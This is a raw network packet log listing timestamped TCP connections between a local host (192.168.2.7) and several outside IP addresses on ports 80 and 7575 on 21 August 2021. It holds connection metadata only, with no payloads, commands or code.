Aug 21, 2021 21:46:43.084840059 CEST	49743	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:43.084845066 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.084866047 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.084886074 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.084893942 CEST	49743	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:43.084904909 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.084928989 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.084932089 CEST	49743	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:43.084949970 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.084959984 CEST	49743	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:43.084969997 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.084990025 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.085004091 CEST	49743	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:43.085019112 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.085038900 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.085058928 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.085073948 CEST	49743	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:43.085079908 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.085103989 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.085107088 CEST	49743	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:43.085124016 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.085134983 CEST	49743	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:43.085146904 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.085170984 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.085180044 CEST	49743	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:43.085190058 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.085211039 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.085220098 CEST	49743	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:43.085231066 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.085258007 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.085289001 CEST	49743	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:43.085309982 CEST	49743	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:43.085309982 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.085333109 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.085354090 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.085375071 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.085387945 CEST	49743	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:43.085397959 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.085422993 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.085432053 CEST	49743	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:43.085444927 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.085464001 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.085472107 CEST	49743	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:43.085581064 CEST	49743	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:43.112243891 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.112297058 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.112325907 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.112348080 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.112369061 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.112536907 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.112591028 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.112618923 CEST	49743	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:43.112637043 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.112706900 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.112725019 CEST	49743	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:43.112754107 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.112811089 CEST	49743	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:43.112818003 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.112867117 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.112884998 CEST	49743	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:43.112907887 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.112948895 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.112983942 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.113003016 CEST	49743	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:43.113030910 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.113054991 CEST	49743	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:43.113071918 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.113131046 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.113159895 CEST	49743	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:43.113183022 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.113218069 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.113246918 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.113272905 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.113306046 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.113336086 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.113363028 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.113392115 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.113416910 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.113451004 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.113476038 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.113509893 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.113549948 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.113574982 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.113606930 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.113631010 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.113666058 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.113694906 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.113719940 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.113749027 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.113778114 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.113806963 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.113832951 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.113862038 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.113892078 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.113920927 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.113945007 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.113985062 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.114015102 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.114043951 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.114065886 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.115520954 CEST	49743	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:43.141762018 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.141797066 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.141832113 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.141848087 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.141865969 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.141881943 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.141884089 CEST	49743	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:43.141899109 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.141916990 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.141935110 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.141953945 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.141959906 CEST	49743	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:43.141978025 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.141983986 CEST	49743	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:43.142000914 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.142020941 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.142041922 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.142060995 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.142081976 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.142102003 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.142122030 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.142127037 CEST	49743	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:43.142137051 CEST	49743	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:43.142139912 CEST	49743	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:43.142143011 CEST	49743	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:43.142143965 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.142184973 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.142200947 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.142249107 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.142272949 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.142292976 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.142297029 CEST	49743	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:43.142318010 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.142319918 CEST	49743	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:43.142333984 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.142358065 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.142359018 CEST	49743	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:43.142375946 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.142394066 CEST	49743	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:43.142399073 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.142416954 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.142436981 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.142458916 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.142460108 CEST	49743	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:43.142476082 CEST	49743	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:43.142478943 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.142498016 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.142518044 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.142534018 CEST	49743	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:43.142535925 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.142559052 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.142563105 CEST	49743	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:43.142580032 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.142599106 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.142608881 CEST	49743	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:43.142618895 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.142638922 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.142647028 CEST	49743	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:43.142658949 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.142678976 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.142699957 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.142723083 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.142744064 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.142748117 CEST	49743	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:43.142755985 CEST	49743	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:43.142765045 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.142772913 CEST	49743	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:43.142786026 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.142812014 CEST	49743	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:43.169198036 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.169238091 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.170387983 CEST	49743	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:43.170516968 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.170888901 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.170983076 CEST	49743	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:43.170994043 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.171017885 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.171053886 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.171143055 CEST	49743	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:43.171180010 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.171207905 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.171225071 CEST	49743	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:43.171228886 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.171269894 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.171273947 CEST	49743	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:43.171294928 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.171317101 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.171327114 CEST	49743	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:43.171339035 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.171364069 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.171370029 CEST	49743	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:43.171386957 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.171432972 CEST	49743	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:43.171438932 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.171459913 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.171480894 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.171502113 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.171519041 CEST	49743	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:43.171525955 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.171529055 CEST	49743	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:43.171550035 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.171591043 CEST	49743	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:43.171631098 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.171658039 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.171674013 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.171696901 CEST	49743	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:43.171703100 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.171730995 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.171772003 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.171799898 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.171832085 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.171865940 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.171906948 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.171952009 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.171987057 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.171987057 CEST	49743	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:43.171993971 CEST	49743	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:43.172000885 CEST	49743	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:43.172013044 CEST	49743	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:43.172018051 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.172055006 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.172086000 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.172103882 CEST	49743	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:43.172108889 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.172148943 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.172171116 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.172192097 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.172203064 CEST	49743	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:43.172226906 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.172233105 CEST	49743	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:43.172274113 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.172311068 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.172314882 CEST	49743	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:43.172355890 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.172389984 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.172431946 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.172437906 CEST	49743	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:43.172694921 CEST	49743	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:43.172744036 CEST	49743	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:43.199213982 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.199284077 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.199316978 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.199354887 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.199383974 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.199408054 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.199430943 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.199454069 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.199496031 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.199537039 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.199567080 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.199594021 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.199600935 CEST	49743	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:43.199640036 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.199681044 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.199704885 CEST	49743	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:43.199728012 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.199750900 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.199764013 CEST	49743	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:43.199774981 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.199851990 CEST	49743	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:43.199856997 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.199868917 CEST	49743	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:43.199892044 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.199912071 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.199945927 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.199970961 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.199999094 CEST	49743	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:43.200000048 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.200063944 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.200074911 CEST	49743	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:43.200098991 CEST	49743	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:43.200107098 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.200130939 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.200158119 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.200202942 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.200236082 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.200238943 CEST	49743	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:43.200274944 CEST	49743	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:43.200285912 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.200321913 CEST	49743	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:43.200336933 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:43.200449944 CEST	49743	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:43.242052078 CEST	49743	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:44.628000975 CEST	49732	7575	192.168.2.7	193.38.55.57
Aug 21, 2021 21:46:44.630963087 CEST	49744	7575	192.168.2.7	193.38.55.57
Aug 21, 2021 21:46:44.653961897 CEST	7575	49732	193.38.55.57	192.168.2.7
Aug 21, 2021 21:46:44.654078960 CEST	49732	7575	192.168.2.7	193.38.55.57
Aug 21, 2021 21:46:44.657151937 CEST	7575	49744	193.38.55.57	192.168.2.7
Aug 21, 2021 21:46:44.657325983 CEST	49744	7575	192.168.2.7	193.38.55.57
Aug 21, 2021 21:46:44.657900095 CEST	49744	7575	192.168.2.7	193.38.55.57
Aug 21, 2021 21:46:44.685888052 CEST	7575	49744	193.38.55.57	192.168.2.7
Aug 21, 2021 21:46:44.686764956 CEST	49744	7575	192.168.2.7	193.38.55.57
Aug 21, 2021 21:46:44.714200020 CEST	7575	49744	193.38.55.57	192.168.2.7
Aug 21, 2021 21:46:44.714245081 CEST	7575	49744	193.38.55.57	192.168.2.7
Aug 21, 2021 21:46:44.763458967 CEST	7575	49744	193.38.55.57	192.168.2.7
Aug 21, 2021 21:46:44.787358999 CEST	7575	49744	193.38.55.57	192.168.2.7
Aug 21, 2021 21:46:44.787834883 CEST	49744	7575	192.168.2.7	193.38.55.57
Aug 21, 2021 21:46:44.816169977 CEST	7575	49744	193.38.55.57	192.168.2.7
Aug 21, 2021 21:46:44.816632986 CEST	49744	7575	192.168.2.7	193.38.55.57
Aug 21, 2021 21:46:44.821010113 CEST	49745	7575	192.168.2.7	193.38.55.57
Aug 21, 2021 21:46:44.847585917 CEST	7575	49745	193.38.55.57	192.168.2.7
Aug 21, 2021 21:46:44.847791910 CEST	49745	7575	192.168.2.7	193.38.55.57
Aug 21, 2021 21:46:44.848426104 CEST	49745	7575	192.168.2.7	193.38.55.57
Aug 21, 2021 21:46:44.875329971 CEST	7575	49745	193.38.55.57	192.168.2.7
Aug 21, 2021 21:46:44.875927925 CEST	49745	7575	192.168.2.7	193.38.55.57
Aug 21, 2021 21:46:44.902699947 CEST	7575	49745	193.38.55.57	192.168.2.7
Aug 21, 2021 21:46:44.938179016 CEST	7575	49745	193.38.55.57	192.168.2.7
Aug 21, 2021 21:46:44.974072933 CEST	49746	80	192.168.2.7	187.190.48.60
Aug 21, 2021 21:46:45.039069891 CEST	49745	7575	192.168.2.7	193.38.55.57
Aug 21, 2021 21:46:45.133963108 CEST	80	49746	187.190.48.60	192.168.2.7
Aug 21, 2021 21:46:45.134104967 CEST	49746	80	192.168.2.7	187.190.48.60
Aug 21, 2021 21:46:45.135911942 CEST	49746	80	192.168.2.7	187.190.48.60
Aug 21, 2021 21:46:45.135951042 CEST	49746	80	192.168.2.7	187.190.48.60
Aug 21, 2021 21:46:45.295382023 CEST	80	49746	187.190.48.60	192.168.2.7
Aug 21, 2021 21:46:45.580286026 CEST	49745	7575	192.168.2.7	193.38.55.57
Aug 21, 2021 21:46:45.848548889 CEST	80	49746	187.190.48.60	192.168.2.7
Aug 21, 2021 21:46:45.848579884 CEST	80	49746	187.190.48.60	192.168.2.7
Aug 21, 2021 21:46:45.848664999 CEST	49746	80	192.168.2.7	187.190.48.60
Aug 21, 2021 21:46:45.848860025 CEST	49746	80	192.168.2.7	187.190.48.60
Aug 21, 2021 21:46:45.950831890 CEST	49747	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:46:46.008251905 CEST	80	49746	187.190.48.60	192.168.2.7
Aug 21, 2021 21:46:46.008347034 CEST	80	49746	187.190.48.60	192.168.2.7
Aug 21, 2021 21:46:46.008416891 CEST	49746	80	192.168.2.7	187.190.48.60
Aug 21, 2021 21:46:46.108827114 CEST	80	49747	148.101.76.245	192.168.2.7
Aug 21, 2021 21:46:46.110095978 CEST	49747	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:46:46.110413074 CEST	49747	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:46:46.110440016 CEST	49747	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:46:46.267857075 CEST	80	49747	148.101.76.245	192.168.2.7
Aug 21, 2021 21:46:46.635320902 CEST	80	49747	148.101.76.245	192.168.2.7
Aug 21, 2021 21:46:46.635740995 CEST	80	49747	148.101.76.245	192.168.2.7
Aug 21, 2021 21:46:46.672734976 CEST	49747	80	192.168.2.7	148.101.76.245
